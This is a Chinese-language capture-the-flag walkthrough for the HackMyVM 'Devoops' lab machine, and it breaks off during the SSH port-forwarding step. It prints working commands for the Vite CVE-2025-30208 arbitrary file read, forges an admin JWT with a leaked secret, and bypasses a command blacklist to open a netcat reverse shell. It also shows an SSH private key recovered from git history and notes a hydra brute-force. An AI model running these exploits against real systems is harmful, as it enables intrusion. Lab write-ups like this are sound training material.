hackmyvm_Devoops
大佬WP：
https://www.bilibili.com/video/BV1HhLozpEk5
https://pepster.me/Temp-DevOops-Walkthrough/
2020：DevOops 设计思路.pdf1. 基本信息
靶机链接：
https://maze-sec.com/library
https://hackmyvm.eu/machines/machine.php?vm=Devoops
难度：⭐️⭐️⭐️
知识点：信息收集，`jwt`使用，`Vite[CVE-2025-30208]`任意文件读取，`gitea`服务，`git log`看日志，`socat`端口转发，私钥，`arp`提权2. 信息收集
Nmap
└─# arp-scan -l | grep PCS
192.168.31.25 08:00:27:b3:d9:97 PCS Systemtechnik GmbH
└─# IP=192.168.31.25
└─# nmap -sV -sC -A $IP -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-29 22:16 CST
Nmap scan report for devoops (192.168.31.25)
Host is up (0.0014s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
3000/tcp open ppp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, NCP, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
| HTTP/1.1 400 Bad Request
| FourOhFourRequest, GetRequest:
| HTTP/1.1 403 Forbidden
| Vary: Origin
| Content-Type: text/plain
| Date: Thu, 29 May 2025 14:16:15 GMT
| Connection: close
| Blocked request. This host (undefined) is not allowed.
| allow this host, add undefined to `server.allowedHosts` in vite.config.js.
| HTTPOptions, RTSPRequest:
| HTTP/1.1 204 No Content
| Vary: Origin, Access-Control-Request-Headers
| Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
| Content-Length: 0
| Date: Thu, 29 May 2025 14:16:15 GMT
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.95%I=7%D=5/29%Time=68386C31%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,FE,"HTTP/1\.1\x20403\x20Forbidden\r\nVary:\x20Origin\r\nConten
SF:t-Type:\x20text/plain\r\nDate:\x20Thu,\x2029\x20May\x202025\x2014:16:15
SF:\x20GMT\r\nConnection:\x20close\r\n\r\nBlocked\x20request\.\x20This\x20
SF:host\x20\(undefined\)\x20is\x20not\x20allowed\.\nTo\x20allow\x20this\x2
SF:0host,\x20add\x20undefined\x20to\x20`server\.allowedHosts`\x20in\x20vit
SF:e\.config\.js\.")%r(Help,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n
SF:")%r(NCP,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(HTTPOptions
SF:,D2,"HTTP/1\.1\x20204\x20No\x20Content\r\nVary:\x20Origin,\x20Access-Co
SF:ntrol-Request-Headers\r\nAccess-Control-Allow-Methods:\x20GET,HEAD,PUT,
SF:PATCH,POST,DELETE\r\nContent-Length:\x200\r\nDate:\x20Thu,\x2029\x20May
SF:\x202025\x2014:16:15\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPReq
SF:uest,D2,"HTTP/1\.1\x20204\x20No\x20Content\r\nVary:\x20Origin,\x20Acces
SF:s-Control-Request-Headers\r\nAccess-Control-Allow-Methods:\x20GET,HEAD,
SF:PUT,PATCH,POST,DELETE\r\nContent-Length:\x200\r\nDate:\x20Thu,\x2029\x2
SF:0May\x202025\x2014:16:15\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RPC
SF:Check,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(DNSVersionBind
SF:ReqTCP,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(DNSStatusRequ
SF:estTCP,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(SSLSessionReq
SF:,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(TerminalServerCooki
SF:e,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(TLSSessionReq,1C,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(Kerberos,1C,"HTTP/1\.1\x
SF:20400\x20Bad\x20Request\r\n\r\n")%r(SMBProgNeg,1C,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\n\r\n")%r(X11Probe,1C,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\n\r\n")%r(FourOhFourRequest,FE,"HTTP/1\.1\x20403\x20Forbidden\r\n
SF:Vary:\x20Origin\r\nContent-Type:\x20text/plain\r\nDate:\x20Thu,\x2029\x
SF:20May\x202025\x2014:16:15\x20GMT\r\nConnection:\x20close\r\n\r\nBlocked
SF:\x20request\.\x20This\x20host\x20\(undefined\)\x20is\x20not\x20allowed\
SF:.\nTo\x20allow\x20this\x20host,\x20add\x20undefined\x20to\x20`server\.a
SF:llowedHosts`\x20in\x20vite\.config\.js\.");
MAC Address: 08:00:27:B3:D9:97 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)只开放了3000口，尝试访问一下，一个示例页面，讲述如何创建一个Vue.js + Express.js的前后端分离项目,vue.js的新手指南
目录扫描
└─# dirsearch -u http://$IP:3000 -x 403 -e txt,php,html
[22:16:55] 200 - 302B - /.flac
[22:16:55] 200 - 301B - /.gif
[22:16:55] 200 - 301B - /.ico
[22:16:55] 200 - 302B - /.jpeg
[22:16:55] 200 - 301B - /.jpg
[22:16:56] 200 - 301B - /.mp3
[22:16:56] 200 - 301B - /.pdf
[22:16:56] 200 - 301B - /.png
[22:16:57] 200 - 301B - /.txt
[22:17:07] 404 - 0B - /favicon.ico
[22:17:13] 200 - 385B - /README.md
[22:17:14] 200 - 21KB - /server
[22:17:14] 200 - 21KB - /server.js
└─# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://$IP:3000 -x.txt,.php,.html --exclude-length 414
/.txt (Status: 200) [Size: 301]
/server (Status: 200) [Size: 21764]
/sign (Status: 200) [Size: 189]
/execute (Status: 401) [Size: 48]
/.txt (Status: 200) [Size: 301]gobuster可以发现几个有用的路径/execute、/sign、/server.js挨个请求一下看看
└─# curl http://$IP:3000/sign
{"status":"signed","data":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOi0xLCJyb2xlIjoiZ3Vlc3QiLCJpYXQiOjE3NDg1Mjg3NjIsImV4cCI6MTc0ODUzMDU2Mn0.F8hwKtxcpYq9Hgm0w-AoiZQT1sqb69kwMTN4l_768z0"}
└─# curl http://$IP:3000/execute
{"status":"rejected","data":"permission denied"}
└─# curl http://$IP:3000/server.js
import __vite__cjsImport0_express from "/node_modules/.vite/deps/express.js?v=8bc9628c"; const express = __vite__cjsImport0_express.__esModule ? __vite__cjsImport0_express.default : __vite__cjsImport0_express;
import __vite__cjsImport1_jsonwebtoken from "/node_modules/.vite/deps/jsonwebtoken.js?v=8bc9628c"; const jwt = __vite__cjsImport1_jsonwebtoken.__esModule ? __vite__cjsImport1_jsonwebtoken.default : __vite__cjsImport1_jsonwebtoken;
import "/node_modules/.vite/deps/dotenv_config.js?v=8bc9628c"
import __vite__cjsImport3_child_process from "/@id/__vite-browser-external:child_process"; const exec = __vite__cjsImport3_child_process["exec"];
import __vite__cjsImport4_util from "/@id/__vite-browser-external:util"; const promisify = __vite__cjsImport4_util["promisify"];
const app = express();
const address = 'localhost';
const port = 3001;
const exec_promise = promisify(exec);
const COMMAND_FILTER = process.env.COMMAND_FILTER
? process.env.COMMAND_FILTER.split(',')
.map(cmd => cmd.trim().toLowerCase())
.filter(cmd => cmd !== '')
: [];
app.use(express.json());
function is_safe_command(cmd) {
if (!cmd || typeof cmd !== 'string') {
return false;
}
if (COMMAND_FILTER.length === 0) {
return false;
}
const lower_cmd = cmd.toLowerCase();
for (const forbidden of COMMAND_FILTER) {
const regex = new RegExp(`\\b${forbidden.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}\\b|^${forbidden.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}$`, 'i');
if (regex.test(lower_cmd)) {
return false;
}
}
if (/[;&|]/.test(cmd)) {
return false;
}
if (/[<>]/.test(cmd)) {
return false;
}
if (/[`$()]/.test(cmd)) {
return false;
}
return true;
}
async function execute_command_sync(command) {
try {
const { stdout, stderr } = await exec_promise(command);
if (stderr) {
return { status: false, data: { stdout, stderr } };
}
return { status: true, data: { stdout, stderr } };
} catch (error) {
return { status: true, data: error.message };
}
}
app.get('/', (req, res) => {
return res.json({
'status': 'working',
'data': `listening on http://${address}:${port}`
})
})
app.get('/api/sign', (req, res) => {
return res.json({
'status': 'signed',
'data': jwt.sign({
uid: -1,
role: 'guest',
}, process.env.JWT_SECRET, { expiresIn: '1800s' }),
});
});
app.get('/api/execute', async (req, res) => {
const authorization_header_raw = req.headers['authorization'];
if (!authorization_header_raw || !authorization_header_raw.startsWith('Bearer ')) {
return res.status(401).json({
'status': 'rejected',
'data': 'permission denied'
});
}
const jwt_raw = authorization_header_raw.split(' ')[1];
try {
const payload = jwt.verify(jwt_raw, process.env.JWT_SECRET);
if (payload.role !== 'admin') {
return res.status(403).json({
'status': 'rejected',
'data': 'permission denied'
});
}
} catch (err) {
return res.status(401).json({
'status': 'rejected',
'data': `permission denied`
});
}
const command = req.query.cmd;
const is_command_safe = is_safe_command(command);
if (!is_command_safe) {
return res.status(401).json({
'status': 'rejected',
'data': `this command is unsafe`
});
}
const result = await execute_command_sync(command);
return res.json({
'status': result.status === true ? 'executed' : 'failed',
'data': result.data
})
});
app.listen(port, address, () => {
console.log(`Listening on http://${address}:${port}`)
});
//# sourceMappingURL=data:application/json;base64,{"version":3,"sources":["server.js"],"sourcesContent":["import __vite__cjsImport0_express from \"/node_modules/.vite/deps/express.js?v=8bc9628c\"; const express = __vite__cjsImport0_express.__esModule ? __vite__cjsImport0_express.default : __vite__cjsImport0_express;\nimport __vite__cjsImport1_jsonwebtoken from \"/node_modules/.vite/deps/jsonwebtoken.js?v=8bc9628c\"; const jwt = __vite__cjsImport1_jsonwebtoken.__esModule ? __vite__cjsImport1_jsonwebtoken.default : __vite__cjsImport1_jsonwebtoken;\nimport \"/node_modules/.vite/deps/dotenv_config.js?v=8bc9628c\"\nimport __vite__cjsImport3_child_process from \"/@id/__vite-browser-external:child_process\"; const exec = __vite__cjsImport3_child_process[\"exec\"];\nimport __vite__cjsImport4_util from \"/@id/__vite-browser-external:util\"; const promisify = __vite__cjsImport4_util[\"promisify\"];\n\nconst app = express();\n\nconst address = 'localhost';\nconst port = 3001;\n\nconst exec_promise = promisify(exec);\n\nconst COMMAND_FILTER = process.env.COMMAND_FILTER\n    ? process.env.COMMAND_FILTER.split(',')\n        .map(cmd => cmd.trim().toLowerCase())\n        .filter(cmd => cmd !== '')\n    : [];\n\napp.use(express.json());\n\nfunction is_safe_command(cmd) {\n    if (!cmd || typeof cmd !== 'string') {\n        return false;\n    }\n    if (COMMAND_FILTER.length === 0) {\n        return false;\n    }\n\n    const lower_cmd = cmd.toLowerCase();\n\n    for (const forbidden of COMMAND_FILTER) {\n        const regex = new RegExp(`\\\\b${forbidden.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&')}\\\\b|^${forbidden.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&')}$`, 'i');\n        if (regex.test(lower_cmd)) {\n            return false;\n        }\n    }\n\n    if (/[;&|]/.test(cmd)) {\n        return false;\n    }\n    if (/[<>]/.test(cmd)) {\n        return false;\n    }\n    if (/[`$()]/.test(cmd)) {\n        return false;\n    }\n\n    return true;\n}\n\nasync function execute_command_sync(command) {\n    try {\n        const { stdout, stderr } = await exec_promise(command);\n\n        if (stderr) {\n            return { status: false, data: { stdout, stderr } };\n        }\n        return { status: true, data: { stdout, stderr } };\n    } catch (error) {\n        return { status: true, data: error.message };\n    }\n}\n\napp.get('/', (req, res) => {\n    return res.json({\n        'status': 'working',\n        'data': `listening on http://${address}:${port}`\n    })\n})\n\napp.get('/api/sign', (req, res) => {\n    return res.json({\n        'status': 'signed',\n        'data': jwt.sign({\n            uid: -1,\n            role: 'guest',\n        }, process.env.JWT_SECRET, { expiresIn: '1800s' }),\n    });\n});\n\napp.get('/api/execute', async (req, res) => {\n    const authorization_header_raw = req.headers['authorization'];\n    if (!authorization_header_raw || !authorization_header_raw.startsWith('Bearer ')) {\n        return res.status(401).json({\n            'status': 'rejected',\n            'data': 'permission denied'\n        });\n    }\n\n    const jwt_raw = authorization_header_raw.split(' ')[1];\n\n    try {\n        const payload = jwt.verify(jwt_raw, process.env.JWT_SECRET);\n        if (payload.role !== 'admin') {\n            return res.status(403).json({\n                'status': 'rejected',\n                'data': 'permission denied'\n            });\n        }\n    } catch (err) {\n        return res.status(401).json({\n            'status': 'rejected',\n            'data': `permission denied`\n        });\n    }\n\n    const command = req.query.cmd;\n\n    const is_command_safe = is_safe_command(command);\n    if (!is_command_safe) {\n        return res.status(401).json({\n            'status': 'rejected',\n            'data': `this command is unsafe`\n        });\n    }\n\n    const result = await execute_command_sync(command);\n\n    return res.json({\n        'status': result.status === true ? 'executed' : 'failed',\n        'data': result.data\n    })\n});\n\napp.listen(port, address, () => {\n    console.log(`Listening on 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访问/sign返回了一串 jwt，访问/execute提示 permission denied， 访问/server.js返回了 Express.js 后端的源码
jwt
看了大佬WP说不难猜出是要修改 jwt 获得权限，再访问 /execute 执行命令
#https://jwt.io/
{"status":"signed","data":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOi0xLCJyb2xlIjoiZ3Vlc3QiLCJpYXQiOjE3NDg1Mjg3NjIsImV4cCI6MTc0ODUzMDU2Mn0.F8hwKtxcpYq9Hgm0w-AoiZQT1sqb69kwMTN4l_768z0"}
---
{
"uid": -1,
"role": "guest",
"iat": 1748528762,
"exp": 1748530562
}先找个[网页](https://www.bejson.com/jwt/)解码`jwt`,显示角色是` guest`
需要将这里的 guest 改为 admin 之类，但是目前并没有 secret审计 server.js 的源码
secret是从 process.env.JWT_SECRET 获取的。也就是 dotenv,尝试读取 .env 文件
并不能读取 .env 文件，从报错中可以得知项目路径在/opt/node下
这里就需要用到 CVE 了
页面上有 3 处提示
服务是使用 Vite 运行的
初始化项目时标注了Vite的版本
底部标注了页面修改的时间
@20206675 - Last modified 2025-02-26POC：Vite[CVE-2025-30208]
根据 Vite 的 release note，这个日期距离 6.2.0 版本最近
搜索 Vite 6.2.0，也可以找到 CVE-2025-30208任意文件读取漏洞
相关POC[4m3rr0r/CVE-2025-30208-PoC: CVE-2025-30208 - Vite Arbitrary File Read PoC](https://github.com/4m3rr0r/CVE-2025-30208-PoC)
其实也不用python脚本，直接curl就行了
具体利用就是在url的文件路径后添加?raw??或者?import&raw??实现绕过
尝试读取.env中的JWT_SECRE变量
└─# curl "http://$IP:3000/@fs/opt/node/.env?raw??"
export default "JWT_SECRET='2942szKG7Ev83aDviugAa6rFpKixZzZz'\nCOMMAND_FILTER='nc,python,python3,py,py3,bash,sh,ash,|,&,<,>,ls,cat,pwd,head,tail,grep,xxd'\n"
//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi5lbnY/cmF3PyJdLCJzb3VyY2VzQ29udGVudCI6WyJleHBvcnQgZGVmYXVsdCBcIkpXVF9TRUNSRVQ9JzI5NDJzektHN0V2ODNhRHZpdWdBYTZyRnBLaXhaelp6J1xcbkNPTU1BTkRfRklMVEVSPSduYyxweXRob24scHl0aG9uMyxweSxweTMsYmFzaCxzaCxhc2gsfCwmLDwsPixscyxjYXQscHdkLGhlYWQsdGFpbCxncmVwLHh4ZCdcXG5cIiJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQSxNQUFNLENBQUMsT0FBTyxDQUFDLENBQUMsVUFBVSxDQUFDLENBQUMsZ0NBQWdDLENBQUMsQ0FBQyxlQUFlLENBQUMsQ0FBQyxFQUFFLENBQUMsTUFBTSxDQUFDLE9BQU8sQ0FBQyxFQUFFLENBQUMsR0FBRyxDQUFDLElBQUksQ0FBQyxFQUFFLENBQUMsR0FBRyxDQUFDLENBQUMsQ0FBQyxDQUFDLENBQUMsQ0FBQyxDQUFDLENBQUMsQ0FBQyxFQUFFLENBQUMsR0FBRyxDQUFDLEdBQUcsQ0FBQyxJQUFJLENBQUMsSUFBSSxDQUFDLElBQUksQ0FBQyxHQUFHLENBQUMsQ0FBQyxDQUFDIn0=获得JWT_SECRE='2942szKG7Ev83aDviugAa6rFpKixZzZz'，同时还有 COMMAND_FILTER，是对 /execute 命令执行的过滤
获得runner权限
先使用 secret 生成新的 jwt
#注意# `curl http://$IP:3000/sign`拿的`jwt`存在有效期，过期了需重新请求
#载荷/Payload
{
"uid": -1,
"role": "admin",
"iat": 1748533467,
"exp": 1748535267
}
JWT_SECRE='2942szKG7Ev83aDviugAa6rFpKixZzZz'
---
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOi0xLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NDg1MzM0NjcsImV4cCI6MTc0ODUzNTI2N30.VBQ8TkwXkfVv8M9NO-vNr5glCBVdCfRAXrj0wj_t984
#也可以用厨子，菜谱如下
#recipe=JWT_Sign('2942szKG7Ev83aDviugAa6rFpKixZzZz','HS256')带上 Authorization 头访问，返回值发生变化
└─# curl -s -H 'authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOi0xLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NDg1MzM0NjcsImV4cCI6MTc0ODUzNTI2N30.VBQ8TkwXkfVv8M9NO-vNr5glCBVdCfRAXrj0wj_t984' "http://$IP:3000/execute/"
{"status":"rejected","data":"this command is unsafe"}在server.js中可以发现，命令来自 req.query.cmd，在请求中加上参数 cmd
└─# curl -s -H 'authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOi0xLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NDg1MzM0NjcsImV4cCI6MTc0ODUzNTI2N30.VBQ8TkwXkfVv8M9NO-vNr5glCBVdCfRAXrj0wj_t984' "http://$IP:3000/execute/?cmd=id"
{"status":"executed","data":{"stdout":"uid=1000(runner) gid=1000(runner) groups=1000(runner)\n","stderr":""}}成功执行了命令
之前看见的命令过滤黑名单是
└─# curl "http://$IP:3000/@fs/opt/node/.env?raw??"
COMMAND_FILTER='nc,python,python3,py,py3,bash,sh,ash,|,&,<,>,ls,cat,pwd,head,tail,grep,xxd'简单的绕过黑名单关键字加双引号，空格用+
└─# curl -s -H 'authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOi0xLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NDg1MzM0NjcsImV4cCI6MTc0ODUzNTI2N30.VBQ8TkwXkfVv8M9NO-vNr5glCBVdCfRAXrj0wj_t984' 'http://192.168.31.25:3000/execute/?cmd=
n""c+192.168.31.126+1234+-e+s""h'
└─# nc -lvp 1234
listening on [any] 1234 ...
id
connect to [192.168.31.126] from devoops [192.168.31.25] 41285
uid=1000(runner) gid=1000(runner) groups=1000(runner)出题者预期解
预期解法是构造 payload，修改COMMAND_FILTER的内容
但不能修改为空，会导致任何命令都不能执行
function is_safe_command(cmd) {
if (!cmd || typeof cmd !== 'string') {
return false;
}
if (COMMAND_FILTER.length === 0) {
return false;
}
}因为并没有过滤 sed 命令，可以尝试这个 payload
#http://192.168.31.25:3000/execute?cmd=sed -i 's/COMMAND_FILTER%3D.*/COMMAND_FILTER%3D"a"/' .env
curl -s -H 'authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOi0xLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NDg2MDY3MjUsImV4cCI6MTc0ODYwODUyNX0.1aq1jaBqV4JVCg5cpnWqcGlXIryl1ai-XwT0ypKGWGA' http://$IP:3000/execute/?cmd=sed -i 's/COMMAND_FILTER%3D.*/COMMAND_FILTER%3D"a"/' .env
执行后没有错误产生
现在再尝试使用黑名单中的命令，或者直接使用 CVE 读取 .env
└─# curl "http://$IP:3000/@fs/opt/node/.env?raw??"
export default "JWT_SECRET='2942szKG7Ev83aDviugAa6rFpKixZzZz'\nCOMMAND_FILTER=\"a\"\n"
//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi5lbnY/cmF3PyJdLCJzb3VyY2VzQ29udGVudCI6WyJleHBvcnQgZGVmYXVsdCBcIkpXVF9TRUNSRVQ9JzI5NDJzektHN0V2ODNhRHZpdWdBYTZyRnBLaXhaelp6J1xcbkNPTU1BTkRfRklMVEVSPVxcXCJhXFxcIlxcblwiIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBLE1BQU0sQ0FBQyxPQUFPLENBQUMsQ0FBQyxVQUFVLENBQUMsQ0FBQyxnQ0FBZ0MsQ0FBQyxDQUFDLGVBQWUsQ0FBQyxDQUFDLENBQUMsQ0FBQyxDQUFDLENBQUMsQ0FBQyxDQUFDIn0=
发现过滤清单已经被修改
现在就可以随意执行命令了，例如反弹 shell
nc 192.168.31.126 1234 -e sh
Gitea服务
查看本地用户
cat /etc/passwd
runner:x:1000:1000:::/bin/sh
hana:x:1001:100::/home/hana:/bin/sh
gitea:x:102:82:gitea:/var/lib/gitea:/bin/sh
cd /home
ls -artl
total 12
drwxr-xr-x 21 root root 4096 Apr 21 10:29 ..
drwxr-xr-x 3 root root 4096 Apr 21 12:09 .
drwx------ 3 hana users 4096 Apr 21 14:30 hana得到三个用户runner hana gitea,既然有个gitea用户，那必然有部署了gitea服务
查看端口开放，本地开放3002端口
netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3002 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 2659/node
tcp 0 0 127.0.0.1:22 0.0.0.0:* LISTEN -
tcp6 0 0 ::1:3001 :::* LISTEN 2664/node还发现了 22 和 3002 端口
没有用户密码和私钥，暂时没有办法利用 22 端口。先看 3002 端口
因为并没有显示进程名，所以使用 ps 命令看一下本地运行的进程
#ps aux
2492 root 0:00 supervise-daemon gitea --start --pidfile /run/gitea.pid --respawn-delay 2 --respawn-max 5 --respawn-period 1800 --capabilities ^cap_net_bind_service --user gitea --env GITEA_WORK_DIR=/var/lib/gitea --chdir /var/lib/gitea --stdout /var/log/gitea/http.log --stderr /var/log/gitea/http.log /usr/bin/gitea -- web --config /etc/gitea/app.ini发现 Gitea 服务
解法1
同时，在 /opt 目录下发现 gitea 目录
cd /opt
ls -artl
total 16
drwxr-xr-x 21 root root 4096 Apr 21 10:29 ..
drwxrwx--- 6 root runner 4096 Apr 21 11:38 node
drwxr-xr-x 4 root root 4096 Apr 21 13:41 .
drwxr-xr-x 5 gitea root 4096 Apr 21 13:52 gitea任意用户对/opt/gitea具有读取权限
可以直接查看 Gitea 的配置文件，找到 Git 仓库的存储路径在 /etc/gitea/app.ini(其实ps就有这个信息)
#cat /etc/gitea/app.ini
.....
[repository]
ROOT = /opt/gitea/git
SCRIPT_TYPE = sh得到仓库地址为/opt/gitea/git
cd /opt/gitea/git
ls -artl
total 12
drwxr-xr-x 5 gitea root 4096 Apr 21 13:52 ..
drwxr-xr-x 3 gitea www-data 4096 Apr 21 14:22 .
drwxr-xr-x 3 gitea www-data 4096 Apr 21 14:35 hana
pwd
/opt/gitea/git
cd hana
ls -artl
total 12
drwxr-xr-x 3 gitea www-data 4096 Apr 21 14:22 ..
drwxr-xr-x 3 gitea www-data 4096 Apr 21 14:35 .
drwxr-xr-x 8 gitea www-data 4096 Apr 21 14:36 node.git
cd node.git
ls -artl
total 44
drwxr-xr-x 4 gitea www-data 4096 Apr 21 14:35 refs
drwxr-xr-x 6 gitea www-data 4096 Apr 21 14:35 hooks
-rw-r--r-- 1 gitea www-data 73 Apr 21 14:35 description
-rw-r--r-- 1 gitea www-data 66 Apr 21 14:35 config
drwxr-xr-x 2 gitea www-data 4096 Apr 21 14:35 branches
-rw-r--r-- 1 gitea www-data 21 Apr 21 14:35 HEAD
drwxr-xr-x 3 gitea www-data 4096 Apr 21 14:35 ..
drwxr-xr-x 3 gitea www-data 4096 Apr 21 14:35 logs
drwxr-xr-x 24 gitea www-data 4096 Apr 21 14:36 objects
drwxr-xr-x 2 gitea www-data 4096 Apr 21 14:36 info
drwxr-xr-x 8 gitea www-data 4096 Apr 21 14:36 .此处暴露了 2 个信息
并且在opt/gitea/git下存在文件夹hana，和 Linux 操作系统用户相对应
发现在node.git文件夹下存在.git相关目录文件，只不过文件名不是.git
同时，靶机内也有 git 命令可用
which git
/usr/bin/git将 Git 目录拷贝到 /tmp 目录
mkdir /tmp/repo
pwd
/opt/gitea/git/hana/node.git
cd ..
pwd
/opt/gitea/git/hana
cp -r ./node.git/ /tmp/repo/.git修改文件名，查看git log，查看 commit 日志
git log
commit 1994a70bbd080c633ac85a339fd85a8635c63893
Author: azwhikaru <37921907+azwhikaru@users.noreply.github.com>
Date: Mon Apr 21 14:36:12 2025 +0800
del: oops!
commit 02c0f912f6e5b09616580d960f3e5ee33b06084a
Author: azwhikaru <37921907+azwhikaru@users.noreply.github.com>
Date: Mon Apr 21 14:34:37 2025 +0800
init: init commit
pwd
/tmp/repo/.git发现一个删除提交del: oops!,查看这个 commit
git show 1994a70bbd080c633ac85a339fd85a8635c63893
commit 1994a70bbd080c633ac85a339fd85a8635c63893
Author: azwhikaru <37921907+azwhikaru@users.noreply.github.com>
Date: Mon Apr 21 14:36:12 2025 +0800
del: oops!
diff --git a/id_ed25519 b/id_ed25519
deleted file mode 100644
index a2626a4..0000000
--- a/id_ed25519
+++ /dev/null
@@ -1,7 +0,0 @@
------BEGIN OPENSSH PRIVATE KEY-----
-b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
-QyNTUxOQAAACCMB5xEc6A2I69whyZDcTSPGVsz2jivuziHAEXaAlJLrgAAAJgA8k3lAPJN
-5QAAAAtzc2gtZWQyNTUxOQAAACCMB5xEc6A2I69whyZDcTSPGVsz2jivuziHAEXaAlJLrg
-AAAEBX7jUWSgQUQgA8z8yL85Eg1WiSgijSu3C4x8TVF/G3uIwHnERzoDYjr3CHJkNxNI8Z
-WzPaOK+7OIcARdoCUkuuAAAAEGhhbmFAZGV2b29wcy5obXYBAgMEBQ==
------END OPENSSH PRIVATE KEY-----获得SSH私钥(注意：私钥每行开头多了个-)
解法2
靶机的 Gitea 服务是有 Web 的，使用靶机内预留了 socat端口转发工具,将 127.0.0.1:3002 转发到外网地址即可访问
kali└─# tldr socat
sudo socat TCP-LISTEN:80,fork TCP4:www.example.com:80
#socat TCP-LISTEN:3020,fork TCP4:127.0.0.1:3002&
netstat -anlptu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3002 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 2720/node
tcp 0 0 0.0.0.0:3020 0.0.0.0:* LISTEN 2760/socat
tcp 0 0 192.168.31.25:3000 192.168.31.191:4655 ESTABLISHED 2720/node
tcp 0 0 192.168.31.25:45235 192.168.31.126:1234 ESTABLISHED 2758/sh
tcp6 0 0 ::1:3001 :::* LISTEN 2726/node
tcp6 0 0 ::1:49578 ::1:3001 ESTABLISHED 2720/node
tcp6 0 0 ::1:3001 ::1:49578 ESTABLISHED 2726/node访问Web之后，自然是爆破用户名和密码,用户名就是靶机内唯一的正常用户 hana
出题者在制作靶机的时候，`Gitea` 先是监听在0.0.0.0，没有经过`socat`
`hydra`爆破速度非常快，即使是`rockyou`也能在 ~30 秒内找到密码
但是经过`socat`之后爆破效率变得很低最后爆破得到密码 saki
进入 Gitea 后，查看唯一的仓库的 commit 记录代码-提交- del: oops!
同样可以获得 SSH私钥
获得hana权限
之前查看监听的端口时，发现 SSH 也监听在 127.0.0.1
#netstat -anlptu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3002 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 2659/node
tcp 0 0 127.0.0.1:22 0.0.0.0:* LISTEN -
tcp 0 54 192.168.31.25:40561 192.168.31.126:1234 ESTABLISHED 2731/sh
tcp 0 0 192.168.31.25:3000 192.168.31.126:56472 ESTABLISHED 2659/node
tcp6 0 0 ::1:3001 :::* LISTEN 2664/node
tcp6 0 0 ::1:3001 ::1:35602 ESTABLISHED 2664/node
tcp6 0 0 ::1:35602 ::1:3001 ESTABLISHED 2659/nodesocat 端口转发
使用本机 socat 转发端口，将只能本机访问的127.0.0.1:22转发到外部网络0.0.0.0:2222
#which socat
/usr/bin/socat
kali└─# tldr socat
sudo socat TCP-LISTEN:80,fork TCP4:www.example.com:80
#socat TCP-LISTEN:2222,fork TCP4:127.0.0.1:22&
#将本地端口 2222 的入站 TCP 流量转发到本机（127.0.0.1）的 22 端口
#netstat -anlptu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3002 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 2659/node
tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN 2749/socat
